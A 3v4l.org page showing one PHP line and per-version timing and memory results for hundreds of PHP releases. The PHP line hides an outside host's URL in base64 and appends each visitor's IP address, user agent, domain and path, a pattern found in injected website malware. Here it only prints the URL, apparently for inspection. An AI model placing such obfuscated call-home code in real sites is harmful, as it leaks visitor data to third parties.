3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0070.00718.69
8.3.30.0040.01119.02
8.3.20.0080.00018.76
8.3.10.0030.00620.67
8.3.00.0040.00419.26
8.2.170.0000.01522.96
8.2.160.0090.00920.47
8.2.150.0050.00324.18
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0050.00317.63
8.2.110.0030.00719.39
8.2.100.0000.01217.97
8.2.90.0060.00617.63
8.2.80.0080.00017.97
8.2.70.0070.00318.04
8.2.60.0040.00418.03
8.2.50.0080.00018.10
8.2.40.0000.00819.34
8.2.30.0050.00218.16
8.2.20.0040.00417.66
8.2.10.0070.00017.64
8.2.00.0000.00817.65
8.1.270.0070.00024.66
8.1.260.0030.00626.35
8.1.250.0050.00328.09
8.1.240.0060.00322.14
8.1.230.0130.00019.17
8.1.220.0080.00017.74
8.1.210.0030.00618.77
8.1.200.0060.00317.22
8.1.190.0030.00517.23
8.1.180.0040.00418.10
8.1.170.0050.00318.68
8.1.160.0050.00318.77
8.1.150.0040.00418.55
8.1.140.0000.00817.38
8.1.130.0000.00717.77
8.1.120.0000.00817.45
8.1.110.0070.00017.40
8.1.100.0000.00717.27
8.1.90.0040.00417.30
8.1.80.0040.00417.39
8.1.70.0000.00717.29
8.1.60.0030.00617.41
8.1.50.0000.00817.42
8.1.40.0040.00417.45
8.1.30.0040.00417.48
8.1.20.0030.00617.63
8.1.10.0040.00417.53
8.1.00.0040.00417.34
8.0.300.0040.00319.73
8.0.290.0080.00016.63
8.0.280.0030.00318.29
8.0.270.0000.00717.12
8.0.260.0000.00616.70
8.0.250.0070.00016.84
8.0.240.0040.00416.93
8.0.230.0040.00416.98
8.0.220.0030.00316.86
8.0.210.0000.00716.92
8.0.200.0030.00316.96
8.0.190.0030.00616.95
8.0.180.0060.00316.89
8.0.170.0060.00316.82
8.0.160.0000.00716.88
8.0.150.0060.00316.86
8.0.140.0070.00016.86
8.0.130.0060.00013.32
8.0.120.0080.00016.87
8.0.110.0000.00717.01
8.0.100.0000.00716.96
8.0.90.0040.00417.01
8.0.80.0070.01316.89
8.0.70.0000.00716.84
8.0.60.0000.00717.00
8.0.50.0040.00416.85
8.0.30.0150.00417.05
8.0.20.0170.00217.16
8.0.10.0030.00316.80
8.0.00.0100.00716.72
7.4.330.0030.00313.05
7.4.320.0030.00316.50
7.4.300.0040.00416.45
7.4.290.0030.00316.40
7.4.280.0000.00716.43
7.4.270.0060.00016.46
7.4.260.0050.00013.25
7.4.250.0000.00816.47
7.4.240.0030.00316.46
7.4.230.0000.00716.61
7.4.220.0030.02316.48
7.4.210.0070.00916.54
7.4.200.0030.00316.57
7.4.190.0000.00716.36
7.4.160.0090.00616.57
7.4.150.0040.01316.43
7.4.140.0100.00816.60
7.4.130.0110.00816.47
7.4.120.0100.00816.48
7.4.110.0150.00416.48
7.4.100.0090.00916.73
7.4.90.0120.00616.64
7.4.80.0090.01319.39
7.4.70.0140.00516.28
7.4.60.0120.00616.38
7.4.50.0080.00316.36
7.4.40.0110.00616.32
7.4.30.0110.00516.30
7.4.00.0120.00514.97
7.3.330.0060.00013.24
7.3.320.0030.00313.23
7.3.310.0070.00016.24
7.3.300.0000.00616.32
7.3.290.0140.00016.41
7.3.280.0090.00816.38
7.3.270.0070.01016.42
7.3.260.0110.01416.36
7.3.250.0090.00816.26
7.3.240.0070.01016.43
7.3.230.0140.00316.29
7.3.210.0110.00516.32
7.3.200.0000.01516.48
7.3.190.0090.00916.45
7.3.180.0120.00916.49
7.3.170.0140.00416.38
7.3.160.0030.01216.63
7.3.120.0090.00914.99
7.3.110.0030.01514.75
7.3.100.0100.01014.95
7.3.90.0040.00814.57
7.3.80.0070.00314.55
7.3.70.0090.00614.97
7.3.60.0040.00414.88
7.3.50.0040.01114.84
7.3.40.0030.01314.70
7.3.30.0080.00814.87
7.3.20.0120.00016.87
7.3.10.0060.00816.44
7.3.00.0080.00716.40
7.2.330.0070.01116.66
7.2.320.0120.00616.73
7.2.310.0060.01116.86
7.2.300.0070.01416.68
7.2.290.0090.00916.44
7.2.250.0080.01114.99
7.2.240.0100.01015.29
7.2.230.0100.00614.77
7.2.220.0110.00415.19
7.2.210.0070.00714.88
7.2.200.0100.00015.05
7.2.190.0060.00315.12
7.2.180.0070.01015.08
7.2.170.0060.01215.02
7.2.130.0050.01316.68
7.2.120.0020.01316.63
7.2.110.0110.00716.81
7.2.100.0050.01016.59
7.2.90.0090.00716.83
7.2.80.0070.01216.65
7.2.70.0120.00516.68
7.2.60.0100.00616.66
7.2.50.0100.00716.97
7.2.40.0100.00916.86
7.2.30.0100.00716.92
7.2.20.0120.00616.76
7.2.10.0120.00816.85
7.2.00.0060.00917.73
7.1.330.0000.01215.79
7.1.320.0080.00316.01
7.1.310.0080.00315.84
7.1.300.0090.00615.88
7.1.290.0030.00915.73
7.1.280.0090.00915.40
7.1.270.0040.00415.76
7.1.260.0040.00416.00
7.1.250.0070.00615.37
7.1.200.0070.00715.59
7.1.100.0040.00817.84
7.1.70.0040.00417.07
7.1.60.0090.01619.40
7.1.50.0070.01716.84
7.1.00.0070.04322.27
7.0.200.0030.00616.42
7.0.140.0030.07322.15
7.0.120.0070.07322.23
7.0.60.0300.07019.91
7.0.50.0030.04017.84
7.0.40.0030.04320.16
7.0.30.0070.04020.23
7.0.20.0000.04720.20
7.0.10.0030.04720.19
7.0.00.0030.04020.11
5.6.280.0000.07721.12
5.6.210.0130.06320.69
5.6.200.0070.08018.15
5.6.190.0030.04020.67
5.6.180.0170.04020.60
5.6.170.0030.04320.43
5.6.160.0070.03720.68
5.6.150.0000.04320.11
5.6.140.0070.04020.31
5.6.130.0070.04020.43
5.6.120.0000.06720.37
5.6.110.0100.06020.35
5.6.100.0070.05720.16
5.6.90.0100.03720.30
5.6.80.0130.04019.71
5.6.70.0070.05719.70
5.6.60.0130.05019.84
5.6.50.0170.06319.67
5.6.40.0030.06019.76
5.6.30.0100.06019.54
5.6.20.0070.08019.73
5.6.10.0030.04719.76
5.6.00.0130.07019.71
5.5.350.0030.05320.42
5.5.340.0030.04317.98
5.5.330.0030.04020.20
5.5.320.0070.03720.13
5.5.310.0000.04320.23
5.5.300.0030.04020.07
5.5.290.0030.05719.97
5.5.280.0170.05320.13
5.5.270.0030.08719.96
5.5.260.0070.05720.22
5.5.250.0000.08020.02
5.5.240.0030.04319.52
5.5.230.0200.07019.50
5.5.220.0000.08019.34
5.5.210.0100.07319.61
5.5.200.0070.08719.54
5.5.190.0130.05319.26
5.5.180.0070.05019.49
5.5.160.0070.04719.25
5.5.150.0030.04319.25
5.5.140.0030.04319.58
5.5.130.0030.04719.26
5.5.120.0030.04019.54
5.5.110.0070.03719.41
5.5.100.0030.07319.16
5.5.90.0100.03719.18
5.5.80.0070.03719.15
5.5.70.0170.07019.17
5.5.60.0100.05019.44
5.5.50.0130.05719.49
5.5.40.0030.08019.33
5.5.30.0100.06719.23
5.5.20.0030.07719.46
5.5.10.0030.04019.20
5.5.00.0130.06719.30
5.4.450.0070.04719.41
5.4.440.0070.07319.50
5.4.430.0070.06019.39
5.4.420.0030.08019.10
5.4.410.0100.04719.35
5.4.400.0100.06019.14
5.4.390.0030.08319.00
5.4.380.0170.07019.14
5.4.370.0030.04018.79
5.4.360.0070.06719.08
5.4.350.0070.07318.79
5.4.340.0030.05319.18
5.4.320.0130.07719.16
5.4.310.0030.04719.18
5.4.300.0030.08018.92
5.4.290.0030.04318.78
5.4.280.0100.03318.78
5.4.270.0070.04019.18
5.4.260.0070.04019.17
5.4.250.0100.04319.04
5.4.240.0100.04718.91
5.4.230.0070.06018.78
5.4.220.0100.06719.11
5.4.210.0130.07319.07
5.4.200.0230.05319.17
5.4.190.0070.06319.13
5.4.180.0070.03318.81
5.4.170.0070.05018.77
5.4.160.0070.04718.76
5.4.150.0070.07019.06
5.4.140.0100.04316.25
5.4.130.0000.07716.24
5.4.120.0130.07316.26
5.4.110.0030.04016.30
5.4.100.0070.07716.34
5.4.90.0070.06716.25
5.4.80.0070.05316.14
5.4.70.0030.07016.25
5.4.60.0070.06316.21
5.4.50.0070.04716.36
5.4.40.0070.06316.36
5.4.30.0070.04316.38
5.4.20.0070.07016.58
5.4.10.0070.04316.59
5.4.00.0030.07015.78
5.3.290.0000.05014.60
5.3.280.0030.07714.54
5.3.270.0070.06014.50
5.3.260.0030.04014.39
5.3.250.0030.04314.53
5.3.240.0100.07014.69
5.3.230.0000.05714.52
5.3.220.0100.07014.48
5.3.210.0000.04314.44
5.3.200.0100.03014.51
5.3.190.0030.07014.52
5.3.180.0030.04014.46
5.3.170.0000.04714.50
5.3.160.0030.04314.50
5.3.150.0030.04014.38
5.3.140.0130.07014.50
5.3.130.0100.03314.47
5.3.120.0100.07714.48
5.3.110.0070.07314.63
5.3.100.0030.07313.97
5.3.90.0000.04714.03
5.3.80.0100.07313.85
5.3.70.0100.03313.94
5.3.60.0100.05713.93
5.3.50.0000.04713.87
5.3.40.0000.05313.96
5.3.30.0000.06313.88
5.3.20.0070.04013.78
5.3.10.0000.05713.58
5.3.00.0100.06713.57
5.2.170.0030.03010.97
5.2.160.0000.06011.15
5.2.150.0030.06711.07
5.2.140.0100.06011.08
5.2.130.0070.04711.25
5.2.120.0130.05011.04
5.2.110.0030.06711.00
5.2.100.0070.04310.98
5.2.90.0030.06011.03
5.2.80.0000.05011.04
5.2.70.0100.03310.97
5.2.60.0070.05710.98
5.2.50.0100.06010.98
5.2.40.0100.06010.93
5.2.30.0100.04710.91
5.2.20.0000.04011.03
5.2.10.0070.05010.85
5.2.00.0000.04310.76
5.1.60.0030.03010.05
5.1.50.0030.0439.96
5.1.40.0100.0509.96
5.1.30.0000.05710.33
5.1.20.0000.03310.30
5.1.10.0000.02710.04
5.1.00.0170.04710.06
5.0.50.0100.0438.52
5.0.40.0030.0438.39
5.0.30.0000.0408.28
5.0.20.0000.0208.27
5.0.10.0030.0238.24
5.0.00.0000.0338.17
4.4.90.0070.0306.63
4.4.80.0030.0306.63
4.4.70.0030.0206.63
4.4.60.0000.0206.63
4.4.50.0000.0406.63
4.4.40.0030.0576.63
4.4.30.0030.0276.63
4.4.20.0030.0336.63
4.4.10.0070.0276.63
4.4.00.0000.0276.63
4.3.110.0030.0376.63
4.3.100.0070.0176.63
4.3.90.0030.0136.63
4.3.80.0030.0436.63
4.3.70.0000.0236.63
4.3.60.0070.0236.63
4.3.50.0000.0236.63
4.3.40.0030.0406.63
4.3.30.0030.0306.63
4.3.20.0000.0376.63
4.3.10.0030.0206.63
4.3.00.0000.0236.63

preferences:
51.88 ms | 400 KiB | 5 Q